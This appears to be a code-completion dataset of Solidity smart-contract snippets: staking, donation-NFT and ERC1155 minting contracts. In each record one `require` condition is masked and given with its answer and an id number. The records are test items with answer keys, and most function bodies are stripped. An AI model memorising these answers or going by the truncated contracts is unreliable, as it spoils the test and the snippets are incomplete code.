function stake(uint256 _amount) public {
}
// unstake wETH from Staking Contract
function unstake() public {
}
// claim wETH from Staking Contract
function claim() public {
require(stakers[msg.sender].stakedAmount > 0, "No staked amount");
require(<FILL_ME>)
require(stakers[msg.sender].shilled, "Not enough shilling");
require(block.timestamp >= stakers[msg.sender].stakingTime + minStakingDuration, "Minimum staking duration not reached");
require(block.timestamp >= endTime, "Staking duration is not ended yet.");
uint256 reward = calculateReward(msg.sender);
wETH.safeTransfer(address(msg.sender), reward);
stakers[msg.sender].claimed = true;
}
// calculate the reward amount
function calculateReward(address _staker) internal view returns (uint256) {
}
// check if shill to twitter
function shill(address _staker) public {
}
// Withdraw. EMERGENCY ONLY.
function emergencyWithdraw() external onlyOwner {
}
function emergencyRewardWithdraw(address _tokenAddr) external onlyOwner {
}
}
| !stakers[msg.sender].claimed,"Already claimed" | 245,282 | !stakers[msg.sender].claimed |
"Not enough shilling" | pragma solidity 0.8.17;
contract MethLabRevSharing is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct Staker {
uint256 stakedAmount;
uint256 stakingTime;
bool claimed;
bool shilled;
}
IERC20 public token;
IERC20 public wETH;
uint256 public totalStakedAmount;
uint256 public minStakingDuration;
uint256 public minimumShillCount = 3;
uint256 public maxStakerCount = 30;
// Date timestamp when token sale start
uint256 public startTime;
// Date timestamp when token sale ends
uint256 public endTime;
mapping(address => Staker) public stakers;
address[] public stakerAddresses;
constructor(address _tokenAddress, address _wETHAddress) {
}
// set duration for min staking
function setMinStakingDuration(uint256 _minStakingDuration) external onlyOwner {
}
// set number of stakers
function setMaxStakerCount(uint256 _maxStakerCount) external onlyOwner {
}
// set end time of staking
function setEndTime(uint256 _endTime) external onlyOwner {
}
// Stake tokens to Staking Contract
function stake(uint256 _amount) public {
}
// unstake wETH from Staking Contract
function unstake() public {
}
// claim wETH from Staking Contract
function claim() public {
require(stakers[msg.sender].stakedAmount > 0, "No staked amount");
require(!stakers[msg.sender].claimed, "Already claimed");
require(<FILL_ME>)
require(block.timestamp >= stakers[msg.sender].stakingTime + minStakingDuration, "Minimum staking duration not reached");
require(block.timestamp >= endTime, "Staking duration is not ended yet.");
uint256 reward = calculateReward(msg.sender);
wETH.safeTransfer(address(msg.sender), reward);
stakers[msg.sender].claimed = true;
}
// calculate the reward amount
function calculateReward(address _staker) internal view returns (uint256) {
}
// check if shill to twitter
function shill(address _staker) public {
}
// Withdraw. EMERGENCY ONLY.
function emergencyWithdraw() external onlyOwner {
}
function emergencyRewardWithdraw(address _tokenAddr) external onlyOwner {
}
}
| stakers[msg.sender].shilled,"Not enough shilling" | 245,282 | stakers[msg.sender].shilled |
"Already shilled" | pragma solidity 0.8.17;
contract MethLabRevSharing is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct Staker {
uint256 stakedAmount;
uint256 stakingTime;
bool claimed;
bool shilled;
}
IERC20 public token;
IERC20 public wETH;
uint256 public totalStakedAmount;
uint256 public minStakingDuration;
uint256 public minimumShillCount = 3;
uint256 public maxStakerCount = 30;
// Date timestamp when token sale start
uint256 public startTime;
// Date timestamp when token sale ends
uint256 public endTime;
mapping(address => Staker) public stakers;
address[] public stakerAddresses;
constructor(address _tokenAddress, address _wETHAddress) {
}
// set duration for min staking
function setMinStakingDuration(uint256 _minStakingDuration) external onlyOwner {
}
// set number of stakers
function setMaxStakerCount(uint256 _maxStakerCount) external onlyOwner {
}
// set end time of staking
function setEndTime(uint256 _endTime) external onlyOwner {
}
// Stake tokens to Staking Contract
function stake(uint256 _amount) public {
}
// unstake wETH from Staking Contract
function unstake() public {
}
// claim wETH from Staking Contract
function claim() public {
}
// calculate the reward amount
function calculateReward(address _staker) internal view returns (uint256) {
}
// check if shill to twitter
function shill(address _staker) public {
// require(stakers[_staker].stakedAmount > 0, "No staked amount");
require(<FILL_ME>)
stakers[_staker].shilled = true;
}
// Withdraw. EMERGENCY ONLY.
function emergencyWithdraw() external onlyOwner {
}
function emergencyRewardWithdraw(address _tokenAddr) external onlyOwner {
}
}
| !stakers[_staker].shilled,"Already shilled" | 245,282 | !stakers[_staker].shilled |
"Sufficient Token balance" | pragma solidity 0.8.17;
contract MethLabRevSharing is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct Staker {
uint256 stakedAmount;
uint256 stakingTime;
bool claimed;
bool shilled;
}
IERC20 public token;
IERC20 public wETH;
uint256 public totalStakedAmount;
uint256 public minStakingDuration;
uint256 public minimumShillCount = 3;
uint256 public maxStakerCount = 30;
// Date timestamp when token sale start
uint256 public startTime;
// Date timestamp when token sale ends
uint256 public endTime;
mapping(address => Staker) public stakers;
address[] public stakerAddresses;
constructor(address _tokenAddress, address _wETHAddress) {
}
// set duration for min staking
function setMinStakingDuration(uint256 _minStakingDuration) external onlyOwner {
}
// set number of stakers
function setMaxStakerCount(uint256 _maxStakerCount) external onlyOwner {
}
// set end time of staking
function setEndTime(uint256 _endTime) external onlyOwner {
}
// Stake tokens to Staking Contract
function stake(uint256 _amount) public {
}
// unstake wETH from Staking Contract
function unstake() public {
}
// claim wETH from Staking Contract
function claim() public {
}
// calculate the reward amount
function calculateReward(address _staker) internal view returns (uint256) {
}
// check if shill to twitter
function shill(address _staker) public {
}
// Withdraw. EMERGENCY ONLY.
function emergencyWithdraw() external onlyOwner {
}
function emergencyRewardWithdraw(address _tokenAddr) external onlyOwner {
require(<FILL_ME>)
IERC20(_tokenAddr).safeTransfer(address(msg.sender), IERC20(_tokenAddr).balanceOf(address(this)));
}
}
| IERC20(_tokenAddr).balanceOf(address(this))>0,"Sufficient Token balance" | 245,282 | IERC20(_tokenAddr).balanceOf(address(this))>0 |
"Receiver already exists" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
//import "hardhat/console.sol";
/**
* @title Donations to children of Ukraine
* @author Dmitry Mikheev
* @notice Donations to proven refugees and people from Ukraine. In reply, the giver receives a unique giver badge as NFT.
*/
contract COU is ERC721, ReentrancyGuard, Ownable{
using Counters for Counters.Counter;
using Strings for uint256;
Counters.Counter private _tokenIds;
uint256 minimumPriceWei = 1500000000000000; // 0.0015 ETH
mapping(uint256 => string) private _tokenURIs;
address[] private _receivers;
string _baseUri = "https://spaces.cou.org.ua/nft/";
uint256 public amountDonated = 0;
/// @dev Emitted when giver donate ETH and mint NFT (everything happens in one transaction)
event Donate(address payable receiver, string tokenUri, uint256 tokenId);
modifier onlyNewReceiver(address receiver_) {
bool isExist = false;
for(uint256 i=0; i<_receivers.length;i++){
if(_receivers[i]==receiver_){isExist = true; break;}
}
require(<FILL_ME>)
_;
}
modifier onlyExistingReceiver(address receiver_) {
}
modifier onlyNewTokenURI(string memory tokenUri_) {
}
constructor() ERC721("Donations to children of Ukraine", "COU") Ownable(){
}
/**
* @notice Set the prefix for tokens URI
* @param uri_ New URI prefix
*/
function setBaseURI(string memory uri_) external onlyOwner{
}
/**
* @notice Set the minimum value for donation
* @param price_ New minimum donation value
*/
function setMinimumPriceWei(uint256 price_) external onlyOwner{
}
/**
* @notice Add new receiver to approved list of receivers that can get donations
* @param receiver_ Proven address of the resident of Ukraine
* @dev Only for contract owner
*/
function addReceiver(address payable receiver_) external onlyOwner onlyNewReceiver(receiver_){
}
/**
* @notice Remove receiver from approved list of donation receivers
* @param receiver_ Proven address of the resident of Ukraine
* @dev Only for contract owner
*/
function removeReceiver(address receiver_) external onlyOwner{
}
/**
* @notice Donate ETH to Ukranian people. ETH will be sent directly to selected person,
* with no commision, except gas. You will get a unique giver badge as NFT.
* @param receiver_ Proven address of the resident of Ukraine
* @param tokenUri_ Unique of the giver badge, to mint NFT
*/
function donate(address payable receiver_, string memory tokenUri_) external payable nonReentrant onlyExistingReceiver(receiver_) onlyNewTokenURI(tokenUri_){
}
/**
* @notice Get addresses of all approved receivers
* @return Array of addresses
*/
function getAllReceivers() external view returns (address[] memory){
}
/**
* @notice Get URI of the specific badge
* @param tokenId_ Badge ID
* @dev ERC712 standard implementation
* @return Badge URI
*/
function tokenURI(uint256 tokenId_) public view virtual override returns (string memory) {
}
// Internal basic functions
function _baseURI() internal view override virtual returns (string memory) {
}
function _setTokenURI(uint256 tokenId_, string memory tokenURI_) internal virtual {
}
function _compareStrings(string memory a, string memory b) private pure returns (bool) {
}
}
| !isExist,"Receiver already exists" | 245,322 | !isExist |
"Mint request for invalid token" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import {DefaultOperatorFilterer} from "./DefaultOperatorFilterer.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./imzlady.sol";
contract MzLady is ERC1155, AccessControl, DefaultOperatorFilterer, ReentrancyGuard {
using Strings for uint256;
using SafeMath for uint256;
string public baseURI;
mapping(uint256 => bool) public validTypeIds;
mapping(address => uint256) private PREAddressMintCount;
mapping(address => uint256) private DoubleAddressMintCount;
bytes32 private constant AUTHORITY_CONTRACT_ROLE = keccak256("AUTHORITY_CONTRACT_ROLE");
bytes32 private constant OWNER_ROLE = keccak256("OWNER_ROLE");
uint256 public mintPrice = 0.05 ether;
uint256 public doublemintPrice = 0.02 ether;
uint256 public burnmintPrice = 0.05 ether;
uint256 public presalePrice = 0.01 ether;
uint256 private whitelistPassTypeId = 1;
bool public mintActive = false;
bool public doublemintActive = false;
bool public burnmintActive = false;
bool public presaleActive = false;
bool public presaleDoubleActive = false;
address mintPass = 0xa22Af618C601F1d202CE11c8E249A50D0d7934c9;
constructor() ERC1155("") {
}
function setMintPrice(uint256 _newPrice) external onlyRole(OWNER_ROLE) {
}
function setDoubleMintPrice(uint256 _newPrice) external onlyRole(OWNER_ROLE) {
}
function setBurnMintPrice(uint256 _newPrice) external onlyRole(OWNER_ROLE) {
}
function setPresalePrice(uint256 _newPrice) external onlyRole(OWNER_ROLE) {
}
function setMintPass(address _newMintPass) external onlyRole(OWNER_ROLE) {
}
function setWhitelistPassTypeId(uint256 _whitelistPassTypeId) external onlyRole(OWNER_ROLE) {
}
function setMintActive(bool _active) external onlyRole(OWNER_ROLE) {
}
function setDoubleMintActive(bool _active) external onlyRole(OWNER_ROLE) {
}
function setBurnMintActive(bool _active) external onlyRole(OWNER_ROLE) {
}
function setPresaleActive(bool _active) external onlyRole(OWNER_ROLE) {
}
function setPresaleDoubleActive(bool _active) external onlyRole(OWNER_ROLE) {
}
function mint(uint256 _typeId, uint256 _quantity) external onlyRole(OWNER_ROLE) {
}
function getPassBalance(address _user)
public
view
returns (uint256 _passBalance)
{
}
function publicMint(uint256 _typeId, uint256 _quantity) public payable nonReentrant {
require(mintActive, "Mint is not active");
require(<FILL_ME>)
require(msg.value >= (_quantity * mintPrice), "The ether value sent is not correct");
_mint(_msgSender(), _typeId, _quantity, "");
}
function doubleMint(uint256 _typeId, uint256 _quantity, address _typeOwnerAddress) public payable nonReentrant {
}
function burnMint(uint256 _typeId, uint256 _quantity) public payable nonReentrant {
}
function presaleMint(uint256 _typeId, uint256 _quantity) public payable nonReentrant {
}
function presaleDoubleMint(uint256 _typeId, uint256 _quantity, address _typeOwnerAddress) public payable nonReentrant {
}
function burnTypeBulk(uint256 _typeId, address[] calldata owners) external onlyRole(OWNER_ROLE) {
}
function updateBaseURI(string memory _baseURI) external onlyRole(OWNER_ROLE) {
}
function burnTypeForOwnerAddress(uint256 _typeId, uint256 _quantity, address _typeOwnerAddress) external onlyRole(AUTHORITY_CONTRACT_ROLE) returns (bool) {
}
function burnTypeForOwnerAddressInternal(uint256 _typeId, uint256 _quantity, address _typeOwnerAddress) internal returns (bool) {
}
function mintTypeToAddress(uint256 _typeId, uint256 _quantity, address _toAddress) external onlyRole(AUTHORITY_CONTRACT_ROLE) returns (bool) {
}
function bulkSafeTransfer(uint256 _typeId, uint256 _quantityPerRecipient, address[] calldata recipients) external {
}
function airdropMint(uint256 _typeId, uint256 _quantityPerRecipient, address[] calldata recipients) external onlyRole(OWNER_ROLE) {
}
function uri(uint256 typeId) public view override returns (string memory) {
}
function withdraw() public onlyRole(OWNER_ROLE) nonReentrant {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC1155, AccessControl) returns (bool) {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, uint256 amount, bytes memory data)
public
override
onlyAllowedOperator(from)
{
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override onlyAllowedOperator(from) {
}
}
| validTypeIds[_typeId],"Mint request for invalid token" | 245,362 | validTypeIds[_typeId] |
"The ether value sent is not correct" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import {DefaultOperatorFilterer} from "./DefaultOperatorFilterer.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./imzlady.sol";
contract MzLady is ERC1155, AccessControl, DefaultOperatorFilterer, ReentrancyGuard {
using Strings for uint256;
using SafeMath for uint256;
string public baseURI;
mapping(uint256 => bool) public validTypeIds;
mapping(address => uint256) private PREAddressMintCount;
mapping(address => uint256) private DoubleAddressMintCount;
bytes32 private constant AUTHORITY_CONTRACT_ROLE = keccak256("AUTHORITY_CONTRACT_ROLE");
bytes32 private constant OWNER_ROLE = keccak256("OWNER_ROLE");
uint256 public mintPrice = 0.05 ether;
uint256 public doublemintPrice = 0.02 ether;
uint256 public burnmintPrice = 0.05 ether;
uint256 public presalePrice = 0.01 ether;
uint256 private whitelistPassTypeId = 1;
bool public mintActive = false;
bool public doublemintActive = false;
bool public burnmintActive = false;
bool public presaleActive = false;
bool public presaleDoubleActive = false;
address mintPass = 0xa22Af618C601F1d202CE11c8E249A50D0d7934c9;
constructor() ERC1155("") {
}
function setMintPrice(uint256 _newPrice) external onlyRole(OWNER_ROLE) {
}
function setDoubleMintPrice(uint256 _newPrice) external onlyRole(OWNER_ROLE) {
}
function setBurnMintPrice(uint256 _newPrice) external onlyRole(OWNER_ROLE) {
}
function setPresalePrice(uint256 _newPrice) external onlyRole(OWNER_ROLE) {
}
function setMintPass(address _newMintPass) external onlyRole(OWNER_ROLE) {
}
function setWhitelistPassTypeId(uint256 _whitelistPassTypeId) external onlyRole(OWNER_ROLE) {
}
function setMintActive(bool _active) external onlyRole(OWNER_ROLE) {
}
function setDoubleMintActive(bool _active) external onlyRole(OWNER_ROLE) {
}
function setBurnMintActive(bool _active) external onlyRole(OWNER_ROLE) {
}
function setPresaleActive(bool _active) external onlyRole(OWNER_ROLE) {
}
function setPresaleDoubleActive(bool _active) external onlyRole(OWNER_ROLE) {
}
function mint(uint256 _typeId, uint256 _quantity) external onlyRole(OWNER_ROLE) {
}
function getPassBalance(address _user)
public
view
returns (uint256 _passBalance)
{
}
function publicMint(uint256 _typeId, uint256 _quantity) public payable nonReentrant {
}
function doubleMint(uint256 _typeId, uint256 _quantity, address _typeOwnerAddress) public payable nonReentrant {
require(doublemintActive, "Mint is not active");
require(validTypeIds[_typeId], "Mint request for invalid token");
require(<FILL_ME>)
_mint(_msgSender(), _typeId, _quantity, "");
_mint(_typeOwnerAddress, _typeId, _quantity, "");
}
function burnMint(uint256 _typeId, uint256 _quantity) public payable nonReentrant {
}
function presaleMint(uint256 _typeId, uint256 _quantity) public payable nonReentrant {
}
function presaleDoubleMint(uint256 _typeId, uint256 _quantity, address _typeOwnerAddress) public payable nonReentrant {
}
function burnTypeBulk(uint256 _typeId, address[] calldata owners) external onlyRole(OWNER_ROLE) {
}
function updateBaseURI(string memory _baseURI) external onlyRole(OWNER_ROLE) {
}
function burnTypeForOwnerAddress(uint256 _typeId, uint256 _quantity, address _typeOwnerAddress) external onlyRole(AUTHORITY_CONTRACT_ROLE) returns (bool) {
}
function burnTypeForOwnerAddressInternal(uint256 _typeId, uint256 _quantity, address _typeOwnerAddress) internal returns (bool) {
}
function mintTypeToAddress(uint256 _typeId, uint256 _quantity, address _toAddress) external onlyRole(AUTHORITY_CONTRACT_ROLE) returns (bool) {
}
function bulkSafeTransfer(uint256 _typeId, uint256 _quantityPerRecipient, address[] calldata recipients) external {
}
function airdropMint(uint256 _typeId, uint256 _quantityPerRecipient, address[] calldata recipients) external onlyRole(OWNER_ROLE) {
}
function uri(uint256 typeId) public view override returns (string memory) {
}
function withdraw() public onlyRole(OWNER_ROLE) nonReentrant {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC1155, AccessControl) returns (bool) {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, uint256 amount, bytes memory data)
public
override
onlyAllowedOperator(from)
{
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override onlyAllowedOperator(from) {
}
}
| msg.value>=(_quantity*doublemintPrice),"The ether value sent is not correct" | 245,362 | msg.value>=(_quantity*doublemintPrice) |
"The ether value sent is not correct" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import {DefaultOperatorFilterer} from "./DefaultOperatorFilterer.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./imzlady.sol";
contract MzLady is ERC1155, AccessControl, DefaultOperatorFilterer, ReentrancyGuard {
using Strings for uint256;
using SafeMath for uint256;
string public baseURI;
mapping(uint256 => bool) public validTypeIds;
mapping(address => uint256) private PREAddressMintCount;
mapping(address => uint256) private DoubleAddressMintCount;
bytes32 private constant AUTHORITY_CONTRACT_ROLE = keccak256("AUTHORITY_CONTRACT_ROLE");
bytes32 private constant OWNER_ROLE = keccak256("OWNER_ROLE");
uint256 public mintPrice = 0.05 ether;
uint256 public doublemintPrice = 0.02 ether;
uint256 public burnmintPrice = 0.05 ether;
uint256 public presalePrice = 0.01 ether;
uint256 private whitelistPassTypeId = 1;
bool public mintActive = false;
bool public doublemintActive = false;
bool public burnmintActive = false;
bool public presaleActive = false;
bool public presaleDoubleActive = false;
address mintPass = 0xa22Af618C601F1d202CE11c8E249A50D0d7934c9;
constructor() ERC1155("") {
}
function setMintPrice(uint256 _newPrice) external onlyRole(OWNER_ROLE) {
}
function setDoubleMintPrice(uint256 _newPrice) external onlyRole(OWNER_ROLE) {
}
function setBurnMintPrice(uint256 _newPrice) external onlyRole(OWNER_ROLE) {
}
function setPresalePrice(uint256 _newPrice) external onlyRole(OWNER_ROLE) {
}
function setMintPass(address _newMintPass) external onlyRole(OWNER_ROLE) {
}
function setWhitelistPassTypeId(uint256 _whitelistPassTypeId) external onlyRole(OWNER_ROLE) {
}
function setMintActive(bool _active) external onlyRole(OWNER_ROLE) {
}
function setDoubleMintActive(bool _active) external onlyRole(OWNER_ROLE) {
}
function setBurnMintActive(bool _active) external onlyRole(OWNER_ROLE) {
}
function setPresaleActive(bool _active) external onlyRole(OWNER_ROLE) {
}
function setPresaleDoubleActive(bool _active) external onlyRole(OWNER_ROLE) {
}
function mint(uint256 _typeId, uint256 _quantity) external onlyRole(OWNER_ROLE) {
}
function getPassBalance(address _user)
public
view
returns (uint256 _passBalance)
{
}
function publicMint(uint256 _typeId, uint256 _quantity) public payable nonReentrant {
}
function doubleMint(uint256 _typeId, uint256 _quantity, address _typeOwnerAddress) public payable nonReentrant {
}
function burnMint(uint256 _typeId, uint256 _quantity) public payable nonReentrant {
require(burnmintActive, "Mint is not active");
require(validTypeIds[_typeId], "Mint request for invalid token");
require(<FILL_ME>)
burnTypeForOwnerAddressInternal(whitelistPassTypeId, _quantity, _msgSender());
_mint(_msgSender(), _typeId, _quantity, "");
}
function presaleMint(uint256 _typeId, uint256 _quantity) public payable nonReentrant {
}
function presaleDoubleMint(uint256 _typeId, uint256 _quantity, address _typeOwnerAddress) public payable nonReentrant {
}
function burnTypeBulk(uint256 _typeId, address[] calldata owners) external onlyRole(OWNER_ROLE) {
}
function updateBaseURI(string memory _baseURI) external onlyRole(OWNER_ROLE) {
}
function burnTypeForOwnerAddress(uint256 _typeId, uint256 _quantity, address _typeOwnerAddress) external onlyRole(AUTHORITY_CONTRACT_ROLE) returns (bool) {
}
function burnTypeForOwnerAddressInternal(uint256 _typeId, uint256 _quantity, address _typeOwnerAddress) internal returns (bool) {
}
function mintTypeToAddress(uint256 _typeId, uint256 _quantity, address _toAddress) external onlyRole(AUTHORITY_CONTRACT_ROLE) returns (bool) {
}
function bulkSafeTransfer(uint256 _typeId, uint256 _quantityPerRecipient, address[] calldata recipients) external {
}
function airdropMint(uint256 _typeId, uint256 _quantityPerRecipient, address[] calldata recipients) external onlyRole(OWNER_ROLE) {
}
function uri(uint256 typeId) public view override returns (string memory) {
}
function withdraw() public onlyRole(OWNER_ROLE) nonReentrant {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC1155, AccessControl) returns (bool) {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, uint256 amount, bytes memory data)
public
override
onlyAllowedOperator(from)
{
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override onlyAllowedOperator(from) {
}
}
| msg.value>=(_quantity*burnmintPrice),"The ether value sent is not correct" | 245,362 | msg.value>=(_quantity*burnmintPrice) |
"The ether value sent is not correct" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import {DefaultOperatorFilterer} from "./DefaultOperatorFilterer.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./imzlady.sol";
contract MzLady is ERC1155, AccessControl, DefaultOperatorFilterer, ReentrancyGuard {
using Strings for uint256;
using SafeMath for uint256;
string public baseURI;
mapping(uint256 => bool) public validTypeIds;
mapping(address => uint256) private PREAddressMintCount;
mapping(address => uint256) private DoubleAddressMintCount;
bytes32 private constant AUTHORITY_CONTRACT_ROLE = keccak256("AUTHORITY_CONTRACT_ROLE");
bytes32 private constant OWNER_ROLE = keccak256("OWNER_ROLE");
uint256 public mintPrice = 0.05 ether;
uint256 public doublemintPrice = 0.02 ether;
uint256 public burnmintPrice = 0.05 ether;
uint256 public presalePrice = 0.01 ether;
uint256 private whitelistPassTypeId = 1;
bool public mintActive = false;
bool public doublemintActive = false;
bool public burnmintActive = false;
bool public presaleActive = false;
bool public presaleDoubleActive = false;
address mintPass = 0xa22Af618C601F1d202CE11c8E249A50D0d7934c9;
constructor() ERC1155("") {
}
function setMintPrice(uint256 _newPrice) external onlyRole(OWNER_ROLE) {
}
function setDoubleMintPrice(uint256 _newPrice) external onlyRole(OWNER_ROLE) {
}
function setBurnMintPrice(uint256 _newPrice) external onlyRole(OWNER_ROLE) {
}
function setPresalePrice(uint256 _newPrice) external onlyRole(OWNER_ROLE) {
}
function setMintPass(address _newMintPass) external onlyRole(OWNER_ROLE) {
}
function setWhitelistPassTypeId(uint256 _whitelistPassTypeId) external onlyRole(OWNER_ROLE) {
}
function setMintActive(bool _active) external onlyRole(OWNER_ROLE) {
}
function setDoubleMintActive(bool _active) external onlyRole(OWNER_ROLE) {
}
function setBurnMintActive(bool _active) external onlyRole(OWNER_ROLE) {
}
function setPresaleActive(bool _active) external onlyRole(OWNER_ROLE) {
}
function setPresaleDoubleActive(bool _active) external onlyRole(OWNER_ROLE) {
}
function mint(uint256 _typeId, uint256 _quantity) external onlyRole(OWNER_ROLE) {
}
function getPassBalance(address _user)
public
view
returns (uint256 _passBalance)
{
}
function publicMint(uint256 _typeId, uint256 _quantity) public payable nonReentrant {
}
function doubleMint(uint256 _typeId, uint256 _quantity, address _typeOwnerAddress) public payable nonReentrant {
}
function burnMint(uint256 _typeId, uint256 _quantity) public payable nonReentrant {
}
function presaleMint(uint256 _typeId, uint256 _quantity) public payable nonReentrant {
require(presaleActive, "Presale Mint is not active");
require(validTypeIds[_typeId], "Mint request for invalid token");
require(<FILL_ME>)
require(getPassBalance(_msgSender()) > 0, "No presale token held");
_mint(_msgSender(), _typeId, _quantity, "");
}
function presaleDoubleMint(uint256 _typeId, uint256 _quantity, address _typeOwnerAddress) public payable nonReentrant {
}
function burnTypeBulk(uint256 _typeId, address[] calldata owners) external onlyRole(OWNER_ROLE) {
}
function updateBaseURI(string memory _baseURI) external onlyRole(OWNER_ROLE) {
}
function burnTypeForOwnerAddress(uint256 _typeId, uint256 _quantity, address _typeOwnerAddress) external onlyRole(AUTHORITY_CONTRACT_ROLE) returns (bool) {
}
function burnTypeForOwnerAddressInternal(uint256 _typeId, uint256 _quantity, address _typeOwnerAddress) internal returns (bool) {
}
function mintTypeToAddress(uint256 _typeId, uint256 _quantity, address _toAddress) external onlyRole(AUTHORITY_CONTRACT_ROLE) returns (bool) {
}
function bulkSafeTransfer(uint256 _typeId, uint256 _quantityPerRecipient, address[] calldata recipients) external {
}
function airdropMint(uint256 _typeId, uint256 _quantityPerRecipient, address[] calldata recipients) external onlyRole(OWNER_ROLE) {
}
function uri(uint256 typeId) public view override returns (string memory) {
}
function withdraw() public onlyRole(OWNER_ROLE) nonReentrant {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC1155, AccessControl) returns (bool) {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, uint256 amount, bytes memory data)
public
override
onlyAllowedOperator(from)
{
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override onlyAllowedOperator(from) {
}
}
| msg.value>=(_quantity*presalePrice),"The ether value sent is not correct" | 245,362 | msg.value>=(_quantity*presalePrice) |
"No presale token held" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import {DefaultOperatorFilterer} from "./DefaultOperatorFilterer.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./imzlady.sol";
contract MzLady is ERC1155, AccessControl, DefaultOperatorFilterer, ReentrancyGuard {
using Strings for uint256;
using SafeMath for uint256;
string public baseURI;
mapping(uint256 => bool) public validTypeIds;
mapping(address => uint256) private PREAddressMintCount;
mapping(address => uint256) private DoubleAddressMintCount;
bytes32 private constant AUTHORITY_CONTRACT_ROLE = keccak256("AUTHORITY_CONTRACT_ROLE");
bytes32 private constant OWNER_ROLE = keccak256("OWNER_ROLE");
uint256 public mintPrice = 0.05 ether;
uint256 public doublemintPrice = 0.02 ether;
uint256 public burnmintPrice = 0.05 ether;
uint256 public presalePrice = 0.01 ether;
uint256 private whitelistPassTypeId = 1;
bool public mintActive = false;
bool public doublemintActive = false;
bool public burnmintActive = false;
bool public presaleActive = false;
bool public presaleDoubleActive = false;
address mintPass = 0xa22Af618C601F1d202CE11c8E249A50D0d7934c9;
constructor() ERC1155("") {
}
function setMintPrice(uint256 _newPrice) external onlyRole(OWNER_ROLE) {
}
function setDoubleMintPrice(uint256 _newPrice) external onlyRole(OWNER_ROLE) {
}
function setBurnMintPrice(uint256 _newPrice) external onlyRole(OWNER_ROLE) {
}
function setPresalePrice(uint256 _newPrice) external onlyRole(OWNER_ROLE) {
}
function setMintPass(address _newMintPass) external onlyRole(OWNER_ROLE) {
}
function setWhitelistPassTypeId(uint256 _whitelistPassTypeId) external onlyRole(OWNER_ROLE) {
}
function setMintActive(bool _active) external onlyRole(OWNER_ROLE) {
}
function setDoubleMintActive(bool _active) external onlyRole(OWNER_ROLE) {
}
function setBurnMintActive(bool _active) external onlyRole(OWNER_ROLE) {
}
function setPresaleActive(bool _active) external onlyRole(OWNER_ROLE) {
}
function setPresaleDoubleActive(bool _active) external onlyRole(OWNER_ROLE) {
}
function mint(uint256 _typeId, uint256 _quantity) external onlyRole(OWNER_ROLE) {
}
function getPassBalance(address _user)
public
view
returns (uint256 _passBalance)
{
}
function publicMint(uint256 _typeId, uint256 _quantity) public payable nonReentrant {
}
function doubleMint(uint256 _typeId, uint256 _quantity, address _typeOwnerAddress) public payable nonReentrant {
}
function burnMint(uint256 _typeId, uint256 _quantity) public payable nonReentrant {
}
function presaleMint(uint256 _typeId, uint256 _quantity) public payable nonReentrant {
require(presaleActive, "Presale Mint is not active");
require(validTypeIds[_typeId], "Mint request for invalid token");
require(msg.value >= (_quantity * presalePrice), "The ether value sent is not correct");
require(<FILL_ME>)
_mint(_msgSender(), _typeId, _quantity, "");
}
